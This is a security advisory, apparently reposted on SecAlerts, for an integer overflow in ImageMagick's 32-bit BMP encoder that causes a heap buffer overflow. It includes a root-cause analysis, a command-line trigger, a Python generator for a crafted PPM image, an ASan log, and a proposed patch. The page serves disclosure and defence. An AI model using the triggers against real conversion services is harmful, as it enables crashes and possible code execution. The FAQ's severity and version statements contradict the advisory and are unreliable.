CVE-2025-57803: ImageMagick (WriteBMPImage): 32-bit integer overflow when writing BMP scanline stride → heap buffer overflow

Published Aug 26, 2025
·
Updated

Summary

A 32-bit integer overflow in the BMP encoder’s scanline-stride computation collapses bytesperline (stride) to a tiny value while the per-row writer still emits 3 × width bytes for 24-bpp images. The row base pointer advances using the (overflowed) stride, so the first row immediately writes past its slot and into adjacent heap memory with attacker-controlled bytes. This is a classic, powerful primitive for heap corruption in common auto-convert pipelines.

- Impact: Attacker-controlled heap out-of-bounds (OOB) write during conversion to BMP. - Surface: Typical upload → normalize/thumbnail → magick ... out.bmp workers. - 32-bit: Vulnerable (reproduced with ASan). - 64-bit: Safe from this specific integer overflow (IOF) by arithmetic, but still add product/size guards. - Proposed severity: Critical 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

---

Scope & Affected Builds

- Project: ImageMagick (BMP writer path, WriteBMPImage in coders/bmp.c). - Commit under test: 3fcd081c0278427fc0e8ac40ef75c0a1537792f7 - Version string from the run: ImageMagick 7.1.2-0 Q8 i686 9bde76f1d:20250712 - Architecture: 32-bit i686 (sizeof(sizet) == 4) with ASan/UBSan. - Note on other versions: Any release/branch with the same stride arithmetic and row loop is likely affected on 32-bit.

---

Root Cause (with code anchors)

Stride computation (writer)

c bytesperline = 4 ((image->columns bmpinfo.bitsperpixel + 31) / 32);

Per-row base and 24-bpp loop (writer)

c q = pixels + ((ssizet)image->rows - y - 1) (ssizet)bytesperline; for (x = 0; x < (ssizet)image->columns; x++) { q++ = B(...); q++ = G(...); q++ = R(...); // writes 3 width bytes }

Allocation (writer)

c pixelinfo = AcquireVirtualMemory(image->rows, MagickMax(bytesperline, image->columns + 256UL) sizeof(pixels)); pixels = (unsigned char ) GetVirtualMemoryBlob(pixelinfo);

Dimension “caps” (insufficient)

The writer rejects dimensions that don’t round-trip through signed int, but both overflow thresholds below are ≤ INTMAX on 32-bit, so the caps do not prevent the bug.

---

Integer-Overflow Analysis (32-bit sizet)

Stride formula for 24-bpp:

bytesperline = 4 ((width 24 + 31) / 32)

There are two independent overflow hazards on 32-bit:

1. Stage-1 multiply+add in (width 24 + 31) Overflow iff width > ⌊(0xFFFFFFFF − 31) / 24⌋ = 178,956,969 → at width ≥ 178,956,970 the numerator wraps small before /32, producing a tiny bytesperline. 2. Stage-2 final ×4 after the division Let q = (width 24 + 31) / 32. Final ×4 overflows iff q > 0x3FFFFFFF. Solving gives width ≥ 1,431,655,765 (0x55555555).

Both thresholds are below INTMAX (≈2.147e9), so “int caps” don’t help.

Mismatch predicate (guaranteed OOB when overflowed): Per-row write for 24-bpp is rowbytes = 3width. Safety requires rowbytes ≤ bytesperline. Under either overflow, bytesperline collapses → 3width > bytesperline holds → OOB-write.

---

Concrete Demonstration

Chosen width: W = 178,957,200 (just over Stage-1 bound)

- Stage-1: 24W + 31 = 4,294,972,831 ≡ 0x0000159F (mod 2^32) → 5535 - Divide by 32: 5535 / 32 = 172 - Multiply by 4: bytesperline = 172 4 = 688 bytes ← tiny stride - Per-row data (24-bpp): rowbytes = 3W = 536,871,600 bytes - Allocation used: MagickMax(688, W+256) = 178,957,456 bytes - Immediate OOB: first row writes ~536MB into a 178MB region, starting at a base advanced by only 688 bytes. ---

Observed Result (ASan excerpt)

ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6eaac490 WRITE of size 1 in WriteBMPImage coders/bmp.c:2309 ... allocated by: AcquireVirtualMemory MagickCore/memory.c:747 WriteBMPImage coders/bmp.c:2092

- Binary: ELF 32-bit i386, Q8, non-HDRI - Resources set to permit execution of the writer path (defense-in-depth limits relaxed for repro)

---

Exploitability & Risk

- Primitive: Large, contiguous, attacker-controlled heap overwrite beginning at the scanline slot. - Control: Overwrite bytes are sourced from attacker-supplied pixels (e.g., crafted input image to be converted to BMP). - Likely deployment: Server-side, non-interactive conversion pipelines (UI:N). - Outcome: At minimum, deterministic crash (DoS). On many 32-bit allocators, well-understood heap shaping can escalate to RCE.

Note on 64-bit: Without integer overflow, bytesperline = 4 ceil((3width)/4) ≥ 3width, so the mismatch doesn’t arise. Still add product/size checks to prevent DoS and future refactors.

---

Reproduction (copy-paste triager script)

Test Environment:

- docker run -it --rm --platform linux/386 debian:11 bash - Install deps: apt-get update && apt-get install -y build-essential git autoconf automake libtool pkg-config python3 - Clone & checkout: ImageMagick 7.1.2-0 → commit 3fcd081c0278427f... - Configure 32-bit Q8 non-HDRI with ASan/UBSan (summary):

bash ./configure \ --host=i686-pc-linux-gnu \ --build=x8664-pc-linux-gnu \ --disable-dependency-tracking \ --disable-silent-rules \ --disable-shared \ --disable-openmp \ --disable-docs \ --without-x \ --without-perl \ --without-magick-plus-plus \ --without-lqr \ --without-zstd \ --without-tiff \ --with-quantum-depth=8 \ --disable-hdri \ CFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \ CXXFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \ LDFLAGS="-fsanitize=address,undefined"

make -j"$(nproc)" - Runtime limits to exercise writer:

bash export MAGICKWIDTHLIMIT=200000000 export MAGICKHEIGHTLIMIT=200000000 export MAGICKTEMPORARYPATH=/tmp export TMPDIR=/tmp export ASANOPTIONS="detectleaks=0:malloccontextsize=20:allocdeallocmismatch=0"

One-liner trigger (no input file):

bash W=178957200 ./utilities/magick \ -limit width 200000000 -limit height 200000000 \ -limit memory 268435456 -limit map 0 -limit disk 200000000000 \ -limit thread 1 \ -size ${W}x1 xc:black -type TrueColor -define bmp:format=bmp3 BMP3:/dev/null

Expected: ASan heap-buffer-overflow in WriteBMPImage (will be provided in a private gist link).

Alternate PoC (raw PPM generator):

python #!/usr/bin/env python3 W, H, MAXV = 180000000, 1, 255 W > 178,956,969 with open("huge.ppm", "wb") as f: f.write(f"P6\n{W} {H}\n{MAXV}\n".encode("ascii")) chunk = (b"\x41\x42\x43") (10241024) remaining = 3 W while remaining: n = min(remaining, len(chunk)) f.write(chunk[:n]); remaining -= n Then: magick huge.ppm out.bmp

---

Proposed Severity

- Primary vector (server auto-convert): AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H → 9.8 Critical - If strictly CLI/manual conversion: UI:R → 8.8 High

---

Maintainer Pushbacks — Pre-empted

- “MagickMax makes allocation large.” The row base advances by overflowed bytesperline, causing row overlap and eventual region exit regardless of total allocation size. - “We’re 64-bit only.” Code is still incorrect for 32-bit consumers/cross-compiles; also add product guards on 64-bit for correctness/DoS. - “Resource policy blocks large images.” That’s environment-dependent defense-in-depth; arithmetic must be correct. ---

Remediation (Summary)

Add checked arithmetic around stride computation and enforce a per-row invariant so that the number of bytes emitted per row (rowbytes) always fits within the computed stride (bytesperline). Guard multiplication/addition and product computations used for header fields and allocation sizes, and fail early with a clear WidthOrHeightExceedsLimit/ResourceLimitError when values exceed safe bounds.

Concretely:

- Validate width and bitsperpixel before the stride formula to ensure (widthbpp + 31) cannot overflow a sizet. - Compute rowbytes for the chosen bpp and assert rowbytes <= bytesperline. - Bound rows stride before allocating and ensure biSizeImage (DIB 32-bit) cannot overflow.

A full suggested guarded implementation is provided in Appendix A — Full patch (for maintainers).

---

Regression Tests to Include (PR-friendly)

1. 32-bit overflow repros (with ASan): - rows=1, width ≥ 178,956,970, bpp=24 → now cleanly errors. - rows=2, same bound → no row overlap; clean error. 2. 64-bit sanity: Medium images (e.g., 8192×4096, 24-bpp) round-trip; header’s biSizeImage = rows bytesperline. 3. Packed bpp (1/4/8): Validate rowbytes = (widthbpp+7)/8 (guarded), 4-pad, and payload ≤ stride holds.

---

Attachments (private BMPPackage) Provided with report: README.md, pocppmgenerator.py, reprocommands.sh, fullasanbmpcrash.txt, appendixapatchblock.c. (Private gist link with package provided separately.)

---

Disclosure & Coordination

- Reporter: Lumina Mescuwa - Tested on: i686 Linux container (details in Repro) - Timeline: August 19th, 2025

---

Appendices

Appendix A — Patch block tailored to  bmp.c

Where this hooks in (current code):

- Stride is computed here: bytesperline=4((image->columnsbmpinfo.bitsperpixel+31)/32); - Header uses bmpinfo.imagesize=(unsigned int) (bytesperlineimage->rows); - Allocation uses AcquireVirtualMemory(image->rows, MagickMax(bytesperline, image->columns+256UL)sizeof(pixels)); - 24-bpp row loop writes pixels then zero-pads up to bytesperline (so the per-row slot size matters): for (x=3L(ssizet)image->columns; x < (ssizet)bytesperline; x++) q++=0x00;

---

Suggested Patch (minimal surface, guards + invariant)

I recommend this in place of the existing bytesperline assignment and the subsequent bmpinfo.imagesize / allocation block. Keep your macros and local variables as-is.

c / --- PATCH BEGIN: guarded stride, per-row invariant, and product checks --- /

/ 1) Guard the original stride arithmetic (preserve behavior, add checks). / if (bmpinfo.bitsperpixel == 0 || (sizet)image->columns > (SIZEMAX - 31) / (sizet)bmpinfo.bitsperpixel) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");

sizet tmp = (sizet)image->columns (sizet)bmpinfo.bitsperpixel + 31; / Divide first; then check the final ×4 won't overflow. / tmp /= 32; if (tmp > (SIZEMAX / 4)) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");

bytesperline = 4 tmp; / same formula as before, now checked /

/ 2) Compute the actual data bytes written per row for the chosen bpp. / sizet rowbytes; if (bmpinfo.bitsperpixel == 1 || bmpinfo.bitsperpixel == 4 || bmpinfo.bitsperpixel == 8) { / packed: ceil(widthbpp/8) / if ((sizet)image->columns > (SIZEMAX - 7) / (sizet)bmpinfo.bitsperpixel) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit"); rowbytes = (((sizet)image->columns (sizet)bmpinfo.bitsperpixel) + 7) >> 3; } else { / 16/24/32 bpp: (bpp/8) width / sizet bppbytes = (sizet)bmpinfo.bitsperpixel / 8; if (bppbytes == 0 || (sizet)image->columns > SIZEMAX / bppbytes) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit"); rowbytes = bppbytes (sizet)image->columns; }

/ 3) Per-row safety invariant: the payload must fit the stride. / if (rowbytes > bytesperline) ThrowWriterException(ResourceLimitError, "MemoryAllocationFailed");

/ 4) Guard header size and allocation products. / if ((sizet)image->rows == 0) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");

/ biSizeImage = rows bytesperline (DIB field is 32-bit) / if (bytesperline > 0xFFFFFFFFu / (sizet)image->rows) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit"); bmpinfo.imagesize = (unsigned int)(bytesperline (sizet)image->rows);

/ Allocation count = rows strideused, with existing MagickMax policy. / sizet stride = MagickMax(bytesperline, (sizet)image->columns + 256UL); if (stride > SIZEMAX / (sizet)image->rows) ThrowWriterException(ResourceLimitError, "MemoryAllocationFailed");

pixelinfo = AcquireVirtualMemory((sizet)image->rows, stride sizeof(pixels)); if (pixelinfo == (MemoryInfo ) NULL) ThrowWriterException(ResourceLimitError, "MemoryAllocationFailed"); pixels = (unsigned char ) GetVirtualMemoryBlob(pixelinfo);

/ Optional: keep zeroing aligned to computed header size. / (void) memset(pixels, 0, (sizet) bmpinfo.imagesize);

/ --- PATCH END --- /

Why this is the right spot?

- It replaces the unguarded stride line you currently have, without changing the algorithm (still 4((Wbpp+31)/32)).  - It fixes the header (biSizeImage) to be a checked product, instead of a potentially wrapped multiplication.  - It guards allocation where you presently allocate rows × MagickMax(bytesperline, columns+256).  - The invariant rowbytes ≤ bytesperline ensures your 24-bpp emission loop (writes 3 bytes/pixel, then pads to bytesperline) can never exceed the per-row slot the code relies on.

---

Notes

- Behavior preserved: The stride value for normal images is unchanged; only pathological integer states are rejected.  - Header consistency: biSizeImage = rows bytesperline remains true by construction, but now cannot overflow a 32-bit DIB field.  - Defensive alignment: If you prefer, you can compute bytesperline as ((rowbytes + 3) & ~3U); it’s equivalent and may read clearer, but I kept the original formula with guards to minimize diff.

A slightly larger “helpers” variant (with safemulsize / safeaddsize utilities) also comes to mind, but the block above is the tightest patch that closes the 32-bit IOF→OOB class without touching unrelated code paths.

Appendix B — Arithmetic Worked Example (W=178,957,200)

- (24W + 31) mod 2^32 = 5535 - bytesperline = 4 (5535/32) = 688 - rowbytes (24-bpp) = 536,871,600 - Allocation via MagickMax = 178,957,456 → immediate row 0 out-of-bounds.

Appendix C — Raw ASan Log (trimmed)

================================================================= ==49178==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6eaac490 WRITE of size 1 at 0x6eaac490 thread T0 #0 0xed2788 in WriteBMPImage coders/bmp.c:2309 #1 0x13da32c in WriteImage MagickCore/constitute.c:1342 #2 0x13dc657 in WriteImages MagickCore/constitute.c:1564 0x6eaac490 is located 0 bytes to the right of 178957456-byte region allocated by thread T0 here: #0 0x408e30ab in interceptorposixmemalign #1 0xd03305 in AcquireVirtualMemory MagickCore/memory.c:747 #2 0xecd597 in WriteBMPImage coders/bmp.c:2092

Other sources

ImageMagick is free and open-source software used for editing and manipulating digital images. Prior to versions 6.9.13-28 and 7.1.2-2 for ImageMagick's 32-bit build, a 32-bit integer overflow in the BMP encoder’s scanline-stride computation collapses bytesperline (stride) to a tiny value while the per-row writer still emits 3 × width bytes for 24-bpp images. The row base pointer advances using the (overflowed) stride, so the first row immediately writes past its slot and into adjacent heap memory with attacker-controlled bytes. This is a classic, powerful primitive for heap corruption in common auto-convert pipelines. This issue has been patched in versions 6.9.13-28 and 7.1.2-2.

MITRE

Affected Software

8 affected componentsFixes available
nuget/Magick.NET-Q8-x86<14.8.1
14.8.1
nuget/Magick.NET-Q8-AnyCPU<14.8.1
14.8.1
nuget/Magick.NET-Q16-x86<14.8.1
14.8.1
nuget/Magick.NET-Q16-HDRI-x86<14.8.1
14.8.1
nuget/Magick.NET-Q16-HDRI-AnyCPU<14.8.1
14.8.1
nuget/Magick.NET-Q16-AnyCPU<14.8.1
14.8.1
ImageMagick ImageMagick<6.9.13-28
ImageMagick ImageMagick>=7.0.0-0<7.1.2-2

Event History

Aug 26, 2025
Advisory Published
via GitHub·04:07 PM
Data Sourced
via GitHub·04:07 PM
DescriptionSeverityWeaknessAffected Software
CVE Published
via MITRE·05:25 PM
Data Sourced
via MITRE·05:25 PM
DescriptionSeverityWeakness
Data Sourced
via Red Hat·06:01 PM
DescriptionSeverityAffected Software
Data Sourced
via NVD·06:15 PM
RemedyDescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2025-57803?

CVE-2025-57803 is classified as a high severity vulnerability due to the integer overflow that can lead to potential buffer overflows.

2

How do I fix CVE-2025-57803?

To fix CVE-2025-57803, upgrade to Magick.NET version 14.8.1 or later.

3

Which software versions are affected by CVE-2025-57803?

CVE-2025-57803 affects Magick.NET versions up to 14.8.1 across multiple packages including Q8 and Q16 variants.

4

What issue does CVE-2025-57803 cause?

CVE-2025-57803 causes an integer overflow leading to incorrect memory access during BMP image encoding.

5

Is CVE-2025-57803 a local or remote vulnerability?

CVE-2025-57803 can be exploited remotely if an attacker can upload a malicious BMP file.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203